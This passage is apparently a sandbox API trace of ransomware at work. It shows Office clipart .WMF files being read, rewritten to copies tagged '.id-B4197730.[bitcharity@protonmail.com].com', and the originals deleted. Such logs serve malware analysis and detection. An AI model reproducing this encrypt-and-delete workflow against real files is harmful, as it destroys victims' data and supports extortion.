lpString2=".WMF") returned -1 [0293.775] lstrlenW (lpString=".7z") returned 3 [0293.775] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0293.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 68 [0293.775] lstrlenW (lpString=".dbf") returned 4 [0293.775] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0293.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 68 [0293.775] lstrlenW (lpString=".1cd") returned 4 [0293.775] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0293.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 68 [0293.775] lstrlenW (lpString=".jpg") returned 4 [0293.775] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0293.775] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0293.775] lstrlenW (lpString="DD00437_.WMF") returned 12 [0293.775] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00437_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0293.776] GetFileSizeEx (in: hFile=0x109c, lpFileSize=0x2cfff14 | out: lpFileSize=0x2cfff14*=1932) returned 1 [0293.776] CloseHandle (hObject=0x109c) returned 1 [0293.776] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00437_.wmf")) returned 0x220 [0293.776] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00437_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0293.776] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00437_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0293.776] SetFilePointerEx (in: hFile=0x109c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cffec0 | out: lpNewFilePointer=0x0) returned 1 [0293.776] SetFilePointerEx (in: hFile=0x109c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cffec0 | out: lpNewFilePointer=0x0) returned 1 [0293.776] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00437_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c0 [0293.776] GetLastError () returned 0x0 [0293.776] ReadFile (in: hFile=0x109c, lpBuffer=0x38eb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cffecc, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesRead=0x2cffecc*=0x78c, lpOverlapped=0x0) returned 1 [0294.346] WriteFile (in: hFile=0x10c0, lpBuffer=0x38eb020*, nNumberOfBytesToWrite=0x790, lpNumberOfBytesWritten=0x2cffc94, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesWritten=0x2cffc94*=0x790, lpOverlapped=0x0) returned 1 [0294.347] ReadFile (in: hFile=0x109c, lpBuffer=0x38eb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cffecc, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesRead=0x2cffecc*=0x0, lpOverlapped=0x0) returned 1 [0294.347] WriteFile (in: hFile=0x10c0, lpBuffer=0x38eb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2cffc94, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesWritten=0x2cffc94*=0xec, lpOverlapped=0x0) returned 1 [0294.347] SetEndOfFile (hFile=0x10c0) returned 1 [0294.347] CloseHandle (hObject=0x10c0) returned 1 [0294.347] SetFilePointerEx (in: hFile=0x109c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cffec0 | out: lpNewFilePointer=0x0) returned 1 [0294.347] SetEndOfFile (hFile=0x109c) returned 1 [0294.348] CloseHandle (hObject=0x109c) returned 1 [0294.348] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0294.349] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00437_.wmf")) returned 1 [0294.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 68 [0294.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 68 [0294.349] lstrlenW (lpString=".doc") returned 4 [0294.349] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0294.349] lstrlenW (lpString=".docx") returned 5 [0294.349] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0294.349] lstrlenW (lpString=".pdf") returned 4 [0294.349] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0294.349] lstrlenW (lpString=".xls") returned 4 [0294.349] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0294.349] lstrlenW (lpString=".xlsx") returned 5 [0294.349] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0294.349] lstrlenW (lpString=".ppt") returned 4 [0294.349] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0294.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 68 [0294.349] lstrlenW (lpString=".zip") returned 4 [0294.349] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0294.349] lstrlenW (lpString=".rar") returned 4 [0294.349] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0294.350] lstrlenW (lpString=".bz2") returned 4 [0294.350] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0294.350] lstrlenW (lpString=".7z") returned 3 [0294.350] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0294.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 68 [0294.350] lstrlenW (lpString=".dbf") returned 4 [0294.350] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0294.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 68 [0294.350] lstrlenW (lpString=".1cd") returned 4 [0294.350] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0294.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 68 [0294.350] lstrlenW (lpString=".jpg") returned 4 [0294.350] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0294.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 68 [0294.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 68 [0294.350] lstrlenW (lpString=".doc") returned 4 [0294.350] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0294.350] lstrlenW (lpString=".docx") returned 5 [0294.350] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0294.350] lstrlenW (lpString=".pdf") returned 4 [0294.350] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0294.350] lstrlenW (lpString=".xls") returned 4 [0294.350] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0294.350] lstrlenW (lpString=".xlsx") returned 5 [0294.350] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0294.350] lstrlenW (lpString=".ppt") returned 4 [0294.351] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0294.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 68 [0294.351] lstrlenW (lpString=".zip") returned 4 [0294.351] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0294.351] lstrlenW (lpString=".rar") returned 4 [0294.351] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0294.351] lstrlenW (lpString=".bz2") returned 4 [0294.351] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0294.351] lstrlenW (lpString=".7z") returned 3 [0294.351] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0294.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 68 [0294.351] lstrlenW (lpString=".dbf") returned 4 [0294.351] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0294.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 68 [0294.351] lstrlenW (lpString=".1cd") returned 4 [0294.351] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0294.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 68 [0294.351] lstrlenW (lpString=".jpg") returned 4 [0294.351] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0294.351] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0294.351] lstrlenW (lpString="DD00449_.WMF") returned 12 [0294.351] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00449_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0294.352] GetFileSizeEx (in: hFile=0x109c, lpFileSize=0x2cfff14 | out: lpFileSize=0x2cfff14*=9992) returned 1 [0294.352] CloseHandle (hObject=0x109c) returned 1 [0294.352] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00449_.wmf")) returned 0x220 [0294.352] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00449_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0294.352] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00449_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0294.352] SetFilePointerEx (in: hFile=0x109c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cffec0 | out: lpNewFilePointer=0x0) returned 1 [0294.352] SetFilePointerEx (in: hFile=0x109c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cffec0 | out: lpNewFilePointer=0x0) returned 1 [0294.352] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00449_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c0 [0294.353] GetLastError () returned 0x0 [0294.353] ReadFile (in: hFile=0x109c, lpBuffer=0x38eb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cffecc, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesRead=0x2cffecc*=0x2708, lpOverlapped=0x0) returned 1 [0294.564] WriteFile (in: hFile=0x10c0, lpBuffer=0x38eb020*, nNumberOfBytesToWrite=0x2710, lpNumberOfBytesWritten=0x2cffc94, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesWritten=0x2cffc94*=0x2710, lpOverlapped=0x0) returned 1 [0294.565] ReadFile (in: hFile=0x109c, lpBuffer=0x38eb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cffecc, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesRead=0x2cffecc*=0x0, lpOverlapped=0x0) returned 1 [0294.565] WriteFile (in: hFile=0x10c0, lpBuffer=0x38eb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2cffc94, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesWritten=0x2cffc94*=0xec, lpOverlapped=0x0) returned 1 [0294.565] SetEndOfFile (hFile=0x10c0) returned 1 [0294.565] CloseHandle (hObject=0x10c0) returned 1 [0294.565] SetFilePointerEx (in: hFile=0x109c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cffec0 | out: lpNewFilePointer=0x0) returned 1 [0294.565] SetEndOfFile (hFile=0x109c) returned 1 [0294.566] CloseHandle (hObject=0x109c) returned 1 [0294.566] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0294.566] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00449_.wmf")) returned 1 [0294.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 68 [0294.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 68 [0294.566] lstrlenW (lpString=".doc") returned 4 [0294.566] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0294.566] lstrlenW (lpString=".docx") returned 5 [0294.567] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0294.567] lstrlenW (lpString=".pdf") returned 4 [0294.567] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0294.567] lstrlenW (lpString=".xls") returned 4 [0294.567] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0294.567] lstrlenW (lpString=".xlsx") returned 5 [0294.567] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0294.567] lstrlenW (lpString=".ppt") returned 4 [0294.567] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0294.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 68 [0294.567] lstrlenW (lpString=".zip") returned 4 [0294.567] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0294.567] lstrlenW (lpString=".rar") returned 4 [0294.567] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0294.567] lstrlenW (lpString=".bz2") returned 4 [0294.567] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0294.567] lstrlenW (lpString=".7z") returned 3 [0294.567] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0294.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 68 [0294.567] lstrlenW (lpString=".dbf") returned 4 [0294.567] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0294.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 68 [0294.567] lstrlenW (lpString=".1cd") returned 4 [0294.567] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0294.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 68 [0294.567] lstrlenW (lpString=".jpg") returned 4 [0294.567] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0294.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 68 [0294.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 68 [0294.568] lstrlenW (lpString=".doc") returned 4 [0294.568] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0294.568] lstrlenW (lpString=".docx") returned 5 [0294.568] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0294.568] lstrlenW (lpString=".pdf") returned 4 [0294.568] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0294.568] lstrlenW (lpString=".xls") returned 4 [0294.568] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0294.568] lstrlenW (lpString=".xlsx") returned 5 [0294.568] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0294.568] lstrlenW (lpString=".ppt") returned 4 [0294.568] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0294.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 68 [0294.568] lstrlenW (lpString=".zip") returned 4 [0294.568] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0294.568] lstrlenW (lpString=".rar") returned 4 [0294.568] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0294.568] lstrlenW (lpString=".bz2") returned 4 [0294.568] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0294.568] lstrlenW (lpString=".7z") returned 3 [0294.568] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0294.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 68 [0294.568] lstrlenW (lpString=".dbf") returned 4 [0294.568] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0294.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 68 [0294.568] lstrlenW (lpString=".1cd") returned 4 [0294.569] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0294.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 68 [0294.569] lstrlenW (lpString=".jpg") returned 4 [0294.569] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0294.569] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0294.569] lstrlenW (lpString="DD01138_.WMF") returned 12 [0294.569] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01138_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0294.569] GetFileSizeEx (in: hFile=0x109c, lpFileSize=0x2cfff14 | out: lpFileSize=0x2cfff14*=3692) returned 1 [0294.569] CloseHandle (hObject=0x109c) returned 1 [0294.569] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01138_.wmf")) returned 0x220 [0294.570] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01138_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0294.570] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01138_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0294.571] SetFilePointerEx (in: hFile=0x109c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cffec0 | out: lpNewFilePointer=0x0) returned 1 [0294.571] SetFilePointerEx (in: hFile=0x109c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cffec0 | out: lpNewFilePointer=0x0) returned 1 [0294.571] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01138_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c0 [0294.571] GetLastError () returned 0x0 [0294.571] ReadFile (in: hFile=0x109c, lpBuffer=0x38eb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cffecc, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesRead=0x2cffecc*=0xe6c, lpOverlapped=0x0) returned 1 [0294.765] WriteFile (in: hFile=0x10c0, lpBuffer=0x38eb020*, nNumberOfBytesToWrite=0xe70, lpNumberOfBytesWritten=0x2cffc94, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesWritten=0x2cffc94*=0xe70, lpOverlapped=0x0) returned 1 [0294.766] ReadFile (in: hFile=0x109c, lpBuffer=0x38eb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cffecc, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesRead=0x2cffecc*=0x0, lpOverlapped=0x0) returned 1 [0294.766] WriteFile (in: hFile=0x10c0, lpBuffer=0x38eb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2cffc94, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesWritten=0x2cffc94*=0xec, lpOverlapped=0x0) returned 1 [0294.766] SetEndOfFile (hFile=0x10c0) returned 1 [0294.766] CloseHandle (hObject=0x10c0) returned 1 [0294.766] SetFilePointerEx (in: hFile=0x109c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cffec0 | out: lpNewFilePointer=0x0) returned 1 [0294.766] SetEndOfFile (hFile=0x109c) returned 1 [0294.767] CloseHandle (hObject=0x109c) returned 1 [0294.767] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0294.767] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01138_.wmf")) returned 1 [0294.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 68 [0294.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 68 [0294.767] lstrlenW (lpString=".doc") returned 4 [0294.767] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0294.767] lstrlenW (lpString=".docx") returned 5 [0294.767] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0294.767] lstrlenW (lpString=".pdf") returned 4 [0294.768] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0294.768] lstrlenW (lpString=".xls") returned 4 [0294.768] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0294.768] lstrlenW (lpString=".xlsx") returned 5 [0294.768] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0294.768] lstrlenW (lpString=".ppt") returned 4 [0294.768] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0294.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 68 [0294.768] lstrlenW (lpString=".zip") returned 4 [0294.768] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0294.768] lstrlenW (lpString=".rar") returned 4 [0294.768] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0294.768] lstrlenW (lpString=".bz2") returned 4 [0294.768] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0294.768] lstrlenW (lpString=".7z") returned 3 [0294.768] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0294.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 68 [0294.768] lstrlenW (lpString=".dbf") returned 4 [0294.768] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0294.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 68 [0294.768] lstrlenW (lpString=".1cd") returned 4 [0294.768] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0294.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 68 [0294.768] lstrlenW (lpString=".jpg") returned 4 [0294.768] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0294.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 68 [0294.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 68 [0294.768] lstrlenW (lpString=".doc") returned 4 [0294.768] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0294.768] lstrlenW (lpString=".docx") returned 5 [0294.768] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0294.768] lstrlenW (lpString=".pdf") returned 4 [0294.768] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0294.768] lstrlenW (lpString=".xls") returned 4 [0294.768] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0294.768] lstrlenW (lpString=".xlsx") returned 5 [0294.768] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0294.769] lstrlenW (lpString=".ppt") returned 4 [0294.769] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0294.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 68 [0294.769] lstrlenW (lpString=".zip") returned 4 [0294.769] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0294.769] lstrlenW (lpString=".rar") returned 4 [0294.769] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0294.769] lstrlenW (lpString=".bz2") returned 4 [0294.769] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0294.769] lstrlenW (lpString=".7z") returned 3 [0294.769] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0294.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 68 [0294.769] lstrlenW (lpString=".dbf") returned 4 [0294.769] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0294.769] 